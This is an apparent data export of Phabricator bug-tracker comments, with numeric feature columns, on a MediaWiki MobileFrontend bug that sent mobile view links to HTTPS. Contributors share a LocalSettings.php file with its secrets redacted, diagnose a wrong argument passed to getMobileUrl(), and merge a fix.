https://gerrit.wikimedia.org/r/137291",,,1401919388,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.476190476190476,1.0,"Change 137291 merged by MaxSem:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
283472,Mobile view link unexpectedly goes to HTTPS,"Yeah, you are right, the patch isn't backported to REL1_22.",,,1401881508,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,"Yeah, you are right, the patch isn't backported to REL1_22."
283464,Mobile view link unexpectedly goes to HTTPS,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

https://gerrit.wikimedia.org/r/137291",,,1401880658,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.769230769230769,1.0,"Change 137291 had a related patch set uploaded by Florianschmidtwelzow:
Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()

GERRIT_URL"
283457,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:

Incidentally, I can't use master, as there's a version checker in it which states it requires MW 1.23.",,,1401879924,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,6.0,10.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3225806451612905,0.8387096774193549,"**morbus** wrote:

Incidentally, I can't use master, as there's a version checker in it which states it requires MW 1.23."
283452,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:

@Florian: Confused. I grabed REL1_22 from git, per http://www.mediawiki.org/wiki/Extension:MobileFrontend - I pull all my extensions and MW core from git vs. using the packaged downloads. Even so, the commit isn't in the snapshot download either. It doesn't look like this patch has been applied to REL1_22 at all - should it have been?

https://git.wikimedia.org/log/mediawiki%2Fextensions%2FMobileFrontend.git/refs%2Fheads%2FREL1_22",,,1401879786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,3.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,11.0,10.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,7.0,10.0,6.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5833333333333335,0.75,"**morbus** wrote:
SCREEN_NAME: Confused. I grabed REL1_22 from git, per URL - I pull all my extensions and MW core from git vs. using the packaged downloads. Even so, the commit isn't in the snapshot download either. It doesn't look like this patch has been applied to REL1_22 at all - should it have been?

URL"
283445,Mobile view link unexpectedly goes to HTTPS,"@Morbus: Sorry, but: https://gerrit.wikimedia.org/r/#/c/91123/
:) In actual version of MobileFrontend getMobileUrl is called with only one argument, so all ok, no need for a patch? Can you try to update MobileFrontend and test?",,,1401861873,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-57,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,12.0,7.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.951219512195122,0.8780487804878049,"SCREEN_NAME: Sorry, but: URL
:) In actual version of MobileFrontend getMobileUrl is called with only one argument, so all ok, no need for a patch? Can you try to update MobileFrontend and test?"
283440,Mobile view link unexpectedly goes to HTTPS,"@Morbus: Can you use Gerrit patch uploader instead? :)
https://tools.wmflabs.org/gerrit-patch-uploader/

For this tool you only need a free MediaWiki account :)",,,1401860632,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,4.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.04,0.92,"SCREEN_NAME: Can you use Gerrit patch uploader instead? :)
URL

For this tool you only need a free MediaWiki account :)"
283433,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:

Patch to change $args to $wgMFForceSecureLogin

Patch attached. I'm not a MW developer, so I've likely screwed up the proper workflow somewhere, but this is what's now running on disobey.com/wiki/, and is consistent with other uses of getMobileUrl() with the second argument.

**Attached**: {F12894}",,,1401842485,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,7.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.780821917808219,0.726027397260274,"**morbus** wrote:

Patch to change $args to $wgMFForceSecureLogin

Patch attached. I'm not a MW developer, so I've likely screwed up the proper workflow somewhere, but this is what's now running on disobey.com/wiki/, and is consistent with other uses of getMobileUrl() with the second argument.

**Attached**: {F12894}"
283426,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:

Fact dump:

 * Old wiki, updated a number of times.
 * No core hacks or patches.
 * Never configured for https:.
 * Brand new install of MobileFrontend.
 * Vanilla enabled - no additional config past $wgMFAutodetectMobileView.
 * Running today-pulled REL1_22 of both core and MobileFrontend.
 * $wgSecureLogin is not set.

The cause is in MobileContext::getMobileUrl( $url, $forceHttps = false ), namely that second argument. In the code, if that evaluates to TRUE, then the scheme is set to https - the expectation for that argument is a boolean. But, if you look in onSkinTemplateOutputPageBeforeExec(), you'll see that $args, an array, is being passed to it. In my case, $wgMobileUrlTemplate wasn't configured, so $args will always be an array filled with the mobileaction => toggle_view_mobile.",,,1401841836,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,2.5,1.0,2.5,1.5,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,0.5,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,17.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,5.0,4.5,8.0,1.5,1.5,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.0,9.0,4.5,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,3.916666666666667,0.6313358302122347,"**morbus** wrote:

Fact dump:

 * Old wiki, updated a number of times.
 * No core hacks or patches.
 * Never configured for https:.
 * Brand new install of MobileFrontend.
 * Vanilla enabled - no additional config past $wgMFAutodetectMobileView.
 * Running today-pulled REL1_22 of both core and MobileFrontend.
 * $wgSecureLogin is not set.

The cause is in MobileContext::getMobileUrl( $url, $forceHttps = false ), namely that second argument. In the code, if that evaluates to TRUE, then the scheme is set to https - the expectation for that argument is a boolean. But, if you look in onSkinTemplateOutputPageBeforeExec(), you'll see that $args, an array, is being passed to it. In my case, $wgMobileUrlTemplate wasn't configured, so $args will always be an array filled with the mobileaction => toggle_view_mobile."
283421,Mobile view link unexpectedly goes to HTTPS,"**morbus** wrote:

I'm seeing this too. Still debugging. Public URL: http://www.disobey.com/wiki/Main_Page",,,1401840021,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.7142857142857143,"**morbus** wrote:

I'm seeing this too. Still debugging. Public URL: URL"
283415,Mobile view link unexpectedly goes to HTTPS,"(In reply to grant from comment #13)
> I'm in the middle of a server change. Give me a day or two.

Grant: Any news?",,,1399928688,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-60,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.888888888888889,1.0,"(In reply to grant from comment #13)
QUOTE

Grant: Any news?"
283410,Mobile view link unexpectedly goes to HTTPS,Thanks for the update Grant.,,,1393546767,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,True,,,-70,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Thanks for the update Grant.
283406,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:

I'm in the middle of a server change. Give me a day or two. Since is is a subdoman of a different site, I wonder if the htaccess of the other site is passing along some values. I will get back to you once I'm up and running.",,,1393540805,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-70,True,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,8.0,0.0,5.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,10.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,10.0,13.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,6.0,2.0,3.0,0.0,0.0,0.0,3.0793650793650795,0.6825396825396826,"**grant** wrote:

I'm in the middle of a server change. Give me a day or two. Since is is a subdoman of a different site, I wonder if the htaccess of the other site is passing along some values. I will get back to you once I'm up and running."
283402,Mobile view link unexpectedly goes to HTTPS,"Grant, I don't see anything that suggests the problem is Mediawiki or MobileFrontend related and I can't replicate your problem. The error your described in your original post suggests to me that you may be dealing with a server configuration issue, though I really can't be sure.

Is the site in question publicly visible? It may be easier for us to have a better sense of what is happening if we can see the issue in the wild.",,,1393539987,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-70,True,0.0,1.0,0.0,0.0,3.0,6.0,3.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,6.0,13.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,1.0,2.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,10.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,13.0,13.0,3.0,1.0,0.0,0.0,13.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,4.0,0.7045454545454546,"Grant, I don't see anything that suggests the problem is Mediawiki or MobileFrontend related and I can't replicate your problem. The error your described in your original post suggests to me that you may be dealing with a server configuration issue, though I really can't be sure.

Is the site in question publicly visible? It may be easier for us to have a better sense of what is happening if we can see the issue in the wild."
283397,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:

if it's a mess excuse me. 

***

if ( !defined( 'MEDIAWIKI' ) ) {
	exit;
}

$path = array( $IP, ""$IP/includes"", ""$IP/languages"" );
set_include_path( implode( PATH_SEPARATOR, $path ) );

#$wgCanonicalServer = 'http://wiki.x.com';
#require_once( ""includes/DefaultSettings.php"" );


$wgSitename      = ""Idx ww"";
$wgMetaNamespace = ""Idx_ww"";

$wgServer = ""http://wiki.x.com"";

$wgScriptPath 	 = """";            # not edited. that is how it appears  tuf to figure paths for subdomain. 
$wgScript           = ""$wgScriptPath/index.php"";
$wgRedirectScript   = ""$wgScriptPath/redirect.php"";
$wgArticlePath      = ""$wgScript?title=$1"";
$wgStylePath        = ""$IP/skins"";
$wgStyleDirectory   = ""skins"";
$wgLogo             = ""images/bookthumb.jpg"";
$wgSecureLogin      = false;
$wgEnableEmail 	    = true;
$wgEnableUserEmail = false;

$wgEnotifUserTalk = true; # UPO
$wgEnotifWatchlist = true; # UPO
$wgEmailAuthentication = true;

# Experimental charset support for MySQL 4.1/5.0.
$wgDBmysql5 = false;

## Shared memory settings
$wgEnableParserCache = false;
$wgMainCacheType = CACHE_NONE;
$wgMemCachedServers = array();

## To enable image uploads, make sure the 'images' directory
## is writable, then set this to true:
$wgTmpDirectory   = true;
$wgEnableUploads = true;
 $wgFileExtensions = array('png','gif','jpg','jpeg','xls','pdf','tiff','bmp','kml');
$wgUseImageResize = true;
$wgUseImageMagick = true;
##$wgImageMagickConvertCommand = ""/usr/bin/convert"";
##image majik thumb fix sept 10
$wgCustomConvertCommand = ""/usr/bin/convert -resize %wx%h %s %d"";
$wgImageMagickTempDir = ""$IP/x/tmp"";
$wgTmpDirectory = ""$IP/x/tmp"";
$wgLanguageCode = ""en"";
$wgProxyKey = ""xx"";
$wgDefaultSkin = 'monobook';
$wgEnableCreativeCommonsRdf = true;
$wgRightsPage = ""Copyright"";

$wgDiff3 = ""/usr/bin/diff3"";


$configdate = gmdate( 'YmdHis', @filemtime( __FILE__ ) );
$wgWhitelistRead =  array( ""Main Page"", ""Special:Userlogin"", ""Help:Contents"", ""Idaho Whitewater:Privacy policy"", ""Idaho_Whitewater:About"", ""Special:Contact"", ""Payette,_Middle_Fork,_Silver_Creek"");
$wgGroupPermissions['*'    ]['edit']            = false;
$wgGroupPermissions['*'    ]['read']            = false;
$wgGroupPermissions['*']['createaccount'] = false;
$wgGroupPermissions['sysop']['createaccount']   = true;

# extensions start here
enableSemantics( 'wiki.x.com');
# Namespace config SMW
$smwgNamespace = 'http://wiki.x.com';
# Semantic Maps
require_once( ""$IP/extensions/SemanticMaps/SemanticMaps.php"" );  
# installer
require_once ""$IP/extensions/ExtensionInstaller/ExtensionInstaller.php"";              
 // Category Tree
#$wgUseAjax = true;
require_once( ""$IP/extensions/CategoryTree/CategoryTree.php"" );
#forms
include_once( ""$IP/extensions/SemanticForms/SemanticForms.php"" );
$wgAllowExternalImages = true;

# mobile frontend
#require_once ""$IP/extensions/MobileFrontend/MobileFrontend.php"";
require_once __DIR__ . ""/extensions/MobileFrontend/MobileFrontend.php"";
$wgMFAutodetectMobileView = true;

# ajax poll
require_once __DIR__ . ""/extensions/AJAXPoll/AJAXPoll.php"";
$wgGroupPermissions['user']['ajaxpoll-view-results'] = true;
#contactpage
require_once( ""$IP/extensions/ContactPage/ContactPage.php"" );
$wgContactUser = 'me';
$wgContactSender = $wgPasswordSender;
$wgContactSenderName = 'Contact Form on ' . $wgSitename;

#confirm edit
require_once ""$IP/extensions/ConfirmEdit/ReCaptcha.php"";
$wgCaptchaClass = 'ReCaptcha';
$wgReCaptchaPublicKey = 'x';
$wgReCaptchaPrivateKey = 'x';
#turn on captcha on the contact
$wgCaptchaTriggers['contactpage'] = true;",,,1392415828,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.1111111111111111,3.3333333333333335,0.1111111111111111,0.0,0.0,0.2222222222222222,0.0,3.7777777777777777,0.0,0.0,0.0,0.2222222222222222,0.0,0.4444444444444444,2.111111111111111,0.0,0.2222222222222222,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.1111111111111111,3.6666666666666665,0.0,0.2222222222222222,0.2222222222222222,0.0,0.1111111111111111,0.0,1.0,0.1111111111111111,0.0,0.0,0.0,1.2222222222222223,0.0,0.1111111111111111,0.0,0.0,0.0,17.0,0.1111111111111111,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.2222222222222222,8.222222222222221,0.3333333333333333,0.0,0.5555555555555556,0.0,0.0,0.1111111111111111,3.111111111111111,1.6666666666666667,0.2222222222222222,1.2222222222222223,0.0,0.5555555555555556,2.111111111111111,7.555555555555555,0.0,12.0,0.0,0.5555555555555556,0.0,0.1111111111111111,0.1111111111111111,0.2222222222222222,0.1111111111111111,0.0,0.0,1.1111111111111112,3.723045532646048,0.4339203894616266,"**grant** wrote:

if it's a mess excuse me. 

***

if ( !defined( 'MEDIAWIKI' ) ) {
	exit;
}

$path = array( $IP, ""$IP/includes"", ""$IP/languages"" );
set_include_path( implode( PATH_SEPARATOR, $path ) );

#$wgCanonicalServer = 'URL
#require_once( ""includes/DefaultSettings.php"" );


$wgSitename      = ""Idx ww"";
$wgMetaNamespace = ""Idx_ww"";

$wgServer = ""URL

$wgScriptPath 	 = """";            # not edited. that is how it appears  tuf to figure paths for subdomain. 
$wgScript           = ""$wgScriptPath/index.php"";
$wgRedirectScript   = ""$wgScriptPath/redirect.php"";
$wgArticlePath      = ""$wgScript?title=$1"";
$wgStylePath        = ""$IP/skins"";
$wgStyleDirectory   = ""skins"";
$wgLogo             = ""images/bookthumb.jpg"";
$wgSecureLogin      = false;
$wgEnableEmail 	    = true;
$wgEnableUserEmail = false;

$wgEnotifUserTalk = true; # UPO
$wgEnotifWatchlist = true; # UPO
$wgEmailAuthentication = true;

# Experimental charset support for MySQL 4.1/5.0.
$wgDBmysql5 = false;

## Shared memory settings
$wgEnableParserCache = false;
$wgMainCacheType = CACHE_NONE;
$wgMemCachedServers = array();

## To enable image uploads, make sure the 'images' directory
## is writable, then set this to true:
$wgTmpDirectory   = true;
$wgEnableUploads = true;
 $wgFileExtensions = array('png','gif','jpg','jpeg','xls','pdf','tiff','bmp','kml');
$wgUseImageResize = true;
$wgUseImageMagick = true;
##$wgImageMagickConvertCommand = ""/usr/bin/convert"";
##image majik thumb fix sept 10
$wgCustomConvertCommand = ""/usr/bin/convert -resize %wx%h %s %d"";
$wgImageMagickTempDir = ""$IP/x/tmp"";
$wgTmpDirectory = ""$IP/x/tmp"";
$wgLanguageCode = ""en"";
$wgProxyKey = ""xx"";
$wgDefaultSkin = 'monobook';
$wgEnableCreativeCommonsRdf = true;
$wgRightsPage = ""Copyright"";

$wgDiff3 = ""/usr/bin/diff3"";


$configdate = gmdate( 'YmdHis',SCREEN_NAME( __FILE__ ) );
$wgWhitelistRead =  array( ""Main Page"", ""Special:Userlogin"", ""Help:Contents"", ""Idaho Whitewater:Privacy policy"", ""Idaho_Whitewater:About"", ""Special:Contact"", ""Payette,_Middle_Fork,_Silver_Creek"");
$wgGroupPermissions['*'    ]['edit']            = false;
$wgGroupPermissions['*'    ]['read']            = false;
$wgGroupPermissions['*']['createaccount'] = false;
$wgGroupPermissions['sysop']['createaccount']   = true;

# extensions start here
enableSemantics( 'wiki.x.com');
# Namespace config SMW
$smwgNamespace = 'URL
# Semantic Maps
require_once( ""$IP/extensions/SemanticMaps/SemanticMaps.php"" );  
# installer
require_once ""$IP/extensions/ExtensionInstaller/ExtensionInstaller.php"";              
 // Category Tree
#$wgUseAjax = true;
require_once( ""$IP/extensions/CategoryTree/CategoryTree.php"" );
#forms
include_once( ""$IP/extensions/SemanticForms/SemanticForms.php"" );
$wgAllowExternalImages = true;

# mobile frontend
#require_once ""$IP/extensions/MobileFrontend/MobileFrontend.php"";
require_once __DIR__ . ""/extensions/MobileFrontend/MobileFrontend.php"";
$wgMFAutodetectMobileView = true;

# ajax poll
require_once __DIR__ . ""/extensions/AJAXPoll/AJAXPoll.php"";
$wgGroupPermissions['user']['ajaxpoll-view-results'] = true;
#contactpage
require_once( ""$IP/extensions/ContactPage/ContactPage.php"" );
$wgContactUser = 'me';
$wgContactSender = $wgPasswordSender;
$wgContactSenderName = 'Contact Form on ' . $wgSitename;

#confirm edit
require_once ""$IP/extensions/ConfirmEdit/ReCaptcha.php"";
$wgCaptchaClass = 'ReCaptcha';
$wgReCaptchaPublicKey = 'x';
$wgReCaptchaPrivateKey = 'x';
#turn on captcha on the contact
$wgCaptchaTriggers['contactpage'] = true;"
283390,Mobile view link unexpectedly goes to HTTPS,"Grant, it might be useful to see your whole LocalSettings.php file (with sensitive info like passwords, etc redacted). At the very least - do you have $wgSecureLogin set?",,,1392411117,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-mf5uxx45gr2em45poy6f,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,3.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,11.0,11.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,4.085714285714285,0.9714285714285714,"Grant, it might be useful to see your whole LocalSettings.php file (with sensitive info like passwords, etc redacted). At the very least - do you have $wgSecureLogin set?"
283379,Mobile view link unexpectedly goes to HTTPS,"**grant** wrote:


$wgServer = ""http://wiki.kayakidaho.com"";

# MobileFrontend
require_once __DIR__ . ""/extensions/MobileFrontend/MobileFrontend.php"";
$wgMFAutodetectMobileView = true;

pretty basic. I placed a couple mobile divs on the home page and a template. 

I tried a couple .htaccess rewrites without success. 
I have to qualify my comment: ""works fine on android."" 
